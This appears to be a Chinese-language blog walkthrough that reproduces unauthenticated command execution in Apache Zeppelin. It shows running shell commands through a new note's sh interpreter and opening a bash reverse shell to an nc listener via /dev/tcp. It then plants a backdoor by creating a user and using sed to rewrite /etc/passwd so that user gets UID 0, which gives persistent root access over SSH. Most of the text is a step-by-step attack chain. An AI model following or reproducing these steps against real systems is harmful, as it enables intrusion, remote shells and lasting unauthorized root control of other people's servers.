天天看點

zeppelin 未授權任意指令執行漏洞複現

作者:網絡安全菜鳥

zeppelin 未授權任意指令執行漏洞複現

#zeppelin 未授權任意指令執行漏洞複現

#一、指令執行複現

  1. 通路http://ip:8080,打開zeppelin頁面,(zeppelin預設監聽端口在8080)
zeppelin 未授權任意指令執行漏洞複現
  1. 點選Notebook->create new note建立新筆記
zeppelin 未授權任意指令執行漏洞複現
  1. 在建立筆記的時候選擇Default Interpreter為sh,即可執行sh指令
  2. 如下圖,在指令視窗輸入指令,按 shift+Enter 或點選右側的執行按鈕,即可執行sh指令

#二、反彈shell

  1. 不管是用哪種反彈shell的方式,都要在用于接受反彈shell的機器上開啟端口監聽,注意目标要能主動和接受的機器建立連接配接(即在同一網段或監聽的端口處于公網),這裡使用nc監聽2333端口,指令為 nc -lvvp 2333,如圖所示,開啟了監聽
  2. 利用sh反彈shell 指令為:
  3. bash -i >& /dev/tcp/ip/port 0>&1
  4. 重新開啟監聽,利用python反彈shell(記憶體不夠會失敗,折磨我兩個小時才找到原因,太菜了太菜了)
  5. 在建立新筆記的時候選擇python
  6. 這裡不需要使用python -c來執行python指令,直接像寫python腳本一樣就行
  7. 成功拿到了反彈的shell,但是python彈回來的并不是一個真的shell,類似于passwd這種需要互動的指令執行不了,而sh彈回來的一般不會有這種問題

#三、拿下控制權

我們使用sh彈回來的shell進行下一步操作,建立一個特權使用者,拿下對目标的持續控制,因為彈回來的是root權限,是以我們可以很友善的操作,但如果是普通使用者,我們可以嘗試是否擁有sudo權限,如果沒有那就得另覓它法了

  1. 建立使用者并更改使用者密碼,指令為
useradd abc
passwd abc # 根據提示重複輸入兩次密碼(高版本系統可能會要求足夠複雜的密碼)
           
zeppelin 未授權任意指令執行漏洞複現
  1. 利用 /etc/passwd 檔案提升使用者的權限
  2. 檢視 /etc/passwd,主要注意root和abc兩個使用者,其中root使用者中間的兩個數字為 0:0,第一個0(UID)代表root使用者,第二個0(GID)代表root組,abc使用者的為 1000:1000,同樣的,分别代表abc使用者和abc組
zeppelin 未授權任意指令執行漏洞複現

是以我們隻要将abc中間的兩個數字改為 0:0,就能成功把abc提權為root使用者

由于沒裝vi、vim這種編輯器,是以我們需要利用sed指令去修改檔案

sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i  參數代表直接對檔案操作
# $ 代表檔案的最後一行
# c 是 替換,後面為要替換的内容
           

測試使用者權限,su abc切換到abc使用者,執行whoami,發現我們依舊是root使用者

zeppelin 未授權任意指令執行漏洞複現

之後我們就可以通過ssh随時連接配接目錄機器

繼續閱讀